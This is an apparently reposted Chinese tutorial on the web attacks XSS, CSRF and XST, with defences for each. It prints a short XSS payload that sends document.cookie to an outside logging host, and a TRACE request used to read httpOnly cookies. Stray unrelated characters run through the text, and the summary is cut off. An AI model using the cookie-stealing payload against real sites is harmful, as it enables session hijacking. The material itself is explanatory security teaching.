XSS(Cross Site Scripting) 跨站腳本攻擊
http://www.reibang.com/p/4fcb4b411a66
-
XSS原理
??黑客進(jìn)入存在輸入框的網(wǎng)頁(yè),輸入JS腳本,偽裝成圖片等東西展示給其他用戶看掸驱,其他用戶點(diǎn)擊或者加載即會(huì)受到攻擊肛搬。
一般分為存儲(chǔ)型,反射型和 DOM 型毕贼,危害性存儲(chǔ)型 > 反射型 > DOM 型温赔。
反射型:反射型 XSS 只是簡(jiǎn)單地把用戶輸入的數(shù)據(jù) “反射” 給瀏覽器,這種攻擊方式往往需要攻擊者誘使用戶點(diǎn)擊一個(gè)惡意鏈接鬼癣,或者提交一個(gè)表單陶贼,或者進(jìn)入一個(gè)惡意網(wǎng)站時(shí),注入腳本進(jìn)入被攻擊者的網(wǎng)站待秃。
存儲(chǔ)型:攻擊者可以將腳本注入到后臺(tái)存儲(chǔ)起來(lái)拜秧,構(gòu)成更加持久的危害,因此存儲(chǔ)型 XSS 也稱“永久型” XSS 章郁。
DOM 型:前端的輸入被 DOM 給獲取到了枉氮,通過(guò) DOM 又在前端輸出,跟反射型和存儲(chǔ)型比起來(lái)暖庄,它是不經(jīng)過(guò)后臺(tái)交互的聊替。
XSS攻擊例子:
var img=document.createElement("img");
img.src="http://web.com/log?"+escape(document.cookie);
document.body.appendChild(img);
//封裝成 js文件
<script type="text/javascript" src="http://www.Hovey.com/web.js"></script>
-
XSS攻擊的危害
- 盜取用戶 cookie,偽造用戶身份登錄培廓。
- 控制用戶瀏覽器惹悄。
- 結(jié)合瀏覽器及其插件漏洞,下載病毒木馬到瀏覽者的計(jì)算機(jī)上執(zhí)行医舆。
- 衍生 URL 跳轉(zhuǎn)漏洞俘侠。
- 讓官方網(wǎng)站出現(xiàn)釣魚頁(yè)面。
- 蠕蟲攻擊
-
如何防止 XSS 跨站腳本攻擊
原則:不相信用戶輸入的數(shù)據(jù)
- 將重要的cookie標(biāo)記為http-only蔬将,這樣的話JS就不能獲取到cookie了(JavaScript中的document.cookie語(yǔ)句)爷速。
- 只允許用戶輸入我們期望的數(shù)據(jù)。例如:年齡中的textbox中霞怀,只允許輸入數(shù)字惫东,數(shù)字外的數(shù)據(jù)全部過(guò)濾。
- 過(guò)濾或移除特殊的HTML標(biāo)簽毙石,包括服務(wù)器端的廉沮。例如:<script>、<iframe>
注意:攻擊代碼不一定在<script></script>中
CSRF(Cross Site Request Forgery) 跨站請(qǐng)求偽造
-
CSRF攻擊原理
用戶是網(wǎng)站A的注冊(cè)用戶徐矩,且登錄進(jìn)去滞时,于是網(wǎng)站A就給用戶下發(fā)cookie。
從上圖可以看出滤灯,要完成一次CSRF攻擊坪稽,受害者必須滿足兩個(gè)必要的條件:
(1)登錄受信任網(wǎng)站A曼玩,并在本地生成Cookie。(如果用戶沒(méi)有登錄網(wǎng)站A窒百,那么網(wǎng)站B在誘導(dǎo)的時(shí)候黍判,請(qǐng)求網(wǎng)站A的api接口時(shí),會(huì)提示你登錄)
(2)在不登出A的情況下篙梢,訪問(wèn)危險(xiǎn)網(wǎng)站B(其實(shí)是利用了網(wǎng)站A的漏洞)顷帖。
(3)網(wǎng)站B上的腳本讓用戶對(duì)網(wǎng)站A發(fā)出請(qǐng)求。一般情況請(qǐng)求頭中referer來(lái)源是網(wǎng)站B渤滞。
(cookie保證了用戶可以處于登錄狀態(tài)贬墩,但網(wǎng)站B其實(shí)拿不到 cookie 也不需要拿到,但是用戶必須登錄網(wǎng)站A才行蔼水。)
-
CSRF攻擊示例
-
如何防止CSRF攻擊
方法一:Token 驗(yàn)證(用的最多)
(1)服務(wù)器發(fā)送給客戶端一個(gè)token震糖;
(2)客戶端提交的表單中帶著這個(gè)token。(網(wǎng)站B不知道這個(gè)表單的具體情況)
(3)如果這個(gè) token 不合法趴腋,那么服務(wù)器拒絕這個(gè)請(qǐng)求。
為什么token能抵御CSRF
??首先我們要知道瀏覽器在向網(wǎng)站A發(fā)送請(qǐng)求的時(shí)候會(huì)自動(dòng)攜帶網(wǎng)站A的cookie论咏,不論是從哪個(gè)地方發(fā)送的請(qǐng)求(無(wú)論在網(wǎng)站A优炬、網(wǎng)站B或者其他網(wǎng)站)
??CSRF攻擊要成功的條件在于攻擊者能夠預(yù)測(cè)所有的參數(shù)從而構(gòu)造出合法的請(qǐng)求。所以根據(jù)不可預(yù)測(cè)性原則厅贪,我們可以對(duì)參數(shù)進(jìn)行加密從而防止CSRF攻擊蠢护。
??另一個(gè)更通用的做法是保持原有參數(shù)不變,另外添加一個(gè)參數(shù)Token养涮,其值是隨機(jī)的葵硕。這樣攻擊者因?yàn)椴恢繲oken而無(wú)法構(gòu)造出合法的請(qǐng)求進(jìn)行攻擊。
方法二:隱藏令牌
把 token 隱藏在 http 的 head頭中贯吓。
方法二和方法一有點(diǎn)像懈凹,本質(zhì)上沒(méi)有太大區(qū)別,只是使用方式上有區(qū)別悄谐。
Token 使用原則
- Token要足夠隨機(jī)————只有這樣才算不可預(yù)測(cè)
- Token是一次性的介评,即每次請(qǐng)求成功后要更新Token————這樣可以增加攻擊難度,增加預(yù)測(cè)難度
- Token要注意保密性————敏感操作使用post爬舰,防止Token出現(xiàn)在URL中
方法三:Referer 驗(yàn)證
Referer 指的是頁(yè)面請(qǐng)求來(lái)源们陆。意思是,只接受本站的請(qǐng)求情屹,服務(wù)器才做響應(yīng)坪仇;如果不是,就攔截垃你。
方法四:驗(yàn)證碼(用戶體驗(yàn)差)
方法五:減少request()請(qǐng)求(只是增加攻擊難度)
XST(Cross-Site Tracing) 跨站追蹤
-
什么XST跨站追蹤
XST 的全稱是 Cross-Site Tracing椅文,中文譯作“跨站式追蹤攻擊”喂很。具體而言,是客戶端發(fā) TRACE / TRACK 請(qǐng)求至服務(wù)器雾袱,如果服務(wù)器按照標(biāo)準(zhǔn)實(shí)現(xiàn)了 TRACE / TRACK 響應(yīng)恤筛,則在 response body 里會(huì)返回此次請(qǐng)求的完整頭信息。通過(guò)這種方式芹橡,客戶端可以獲取某些敏感的 header 字段毒坛,例如 httpOnly 的 Cookie 等。
可見(jiàn) XST 的攻擊原理非常之簡(jiǎn)單林说,借由 XST 攻擊獲取到 Cookie 信息或者其他敏感信息之后煎殷,攻擊者可以利用這些信息再發(fā)動(dòng) XSS、CSRF腿箩、中間人攻擊等豪直,看似無(wú)害,但潛在的危險(xiǎn)卻很巨大珠移。僅根據(jù) XST 攻擊并不會(huì)對(duì)服務(wù)器造成實(shí)質(zhì)性的傷害弓乙,它真實(shí)的影響是暴露了敏感的 header 數(shù)據(jù),如擁有 httpOnly 屬性的 Cookie钧惧,已經(jīng)禁止前端 JavaScript 訪問(wèn)它(如 document.cookie
)暇韧,防止它被發(fā)送給第三方,但即使在這種情況下浓瞪,TRACE 方法也可用于繞過(guò)此保護(hù)并訪問(wèn) cookie懈玻。因此 XST 也被稱作 Trace 泄露攻擊、Trace header 反射乾颁、Trace 方法注入(TMI)涂乌、Trace Header Cookie 攻擊(THC)。
-
XST 攻擊的條件:
- 需要目標(biāo) Web 服務(wù)器允許接受 Trace英岭、Track 方法的請(qǐng)求湾盒。
- 客戶端可以發(fā)送 Trace、Track 方法的請(qǐng)求巴席。(如今瀏覽器環(huán)境下已經(jīng)杜絕這種請(qǐng)求)
下面舉個(gè)栗子 历涝,這里我用 Express 搭建了一個(gè)簡(jiǎn)單的 Web 服務(wù)器,接受一個(gè) Trace 方法的請(qǐng)求:
import express from 'express'
import cookieParser from 'cookie-parser'
const app = express()
app.use(cookieParser())
app.use('/', (req, res, next) => {
res.cookie('account', 'airing', { maxAge: 900000, httpOnly: true })
return res.json(req.headers)
})
app.listen(3000)
我們用 TRACE 方法攜帶 Cookie 請(qǐng)求漾唉,可以發(fā)現(xiàn) Cookie 是可以被發(fā)送過(guò)去的(Chrome 24 環(huán)境下):
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'http://127.0.0.1:3000/', false);
xhr.withCredentials = true
xhr.setRequestHeader('Cookie', 'account=airingursb');
xhr.send(null);
if(200 == xhr.status) console.log(xhr.responseText);
XST 的真正結(jié)果是它暴露了 JavaScript 通常無(wú)法訪問(wèn)的 HTTP 頭荧库,httpOnly 本應(yīng)該阻止 JavaScript 讀取與發(fā)送 cookie 到服務(wù)器,但 XST 成功繞過(guò)了 httpOnly 的限制赵刑。另外分衫,用于 HTTP Basic Auth 的 Authentication 頭只是 Base64 編碼的用戶名和密碼,不是 DOM 的一部分般此,理應(yīng)也不能直接被 JavaScript 讀取蚪战,但若使用 XST 也可以繞過(guò)牵现。這些敏感信息只通過(guò)一個(gè) Trace 請(qǐng)求卻全都暴露了出來(lái)。
-
XST 的防御方法
杜絕 XST 非常簡(jiǎn)單邀桑,Web 服務(wù)器限制 Trace瞎疼、Track 方法的請(qǐng)求即可。另如今壁畸, XMLHTTPRequest 已經(jīng)杜絕了 Trace 與 Track 方法的請(qǐng)求(Chrome 25 版本及 FireFox 19 之后)贼急,如果嘗試用 Trace / Track 方法請(qǐng)求,會(huì)拋出 SecurityError 異常捏萍,這也從根本上杜絕了 XST 攻擊太抓。
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'http://localhost:3000/', false);
xhr.send(null);
if(200 == xhr.status) console.log(xhr.responseText);
同時(shí),在 FireFox 43 之后令杈,Cookie 等不安全字段也被禁止攜帶在請(qǐng)求的 header 中發(fā)送走敌。詳見(jiàn) Forbidden header name | MSD
雖說(shuō)目前現(xiàn)代瀏覽器已經(jīng)越來(lái)越安全,XST 也成為了歷史逗噩,但其給我們 web 開(kāi)發(fā)者也留下警示——代碼編寫時(shí)一定要注意安全性和嚴(yán)謹(jǐn)性掉丽。
總結(jié)
CSRF需要
參考:
[1].Web安全防范(XSS、CSRF)
[2].XSS 和 CSRF簡(jiǎn)述及預(yù)防措施
[3].前端 | XST 的攻擊原理與防御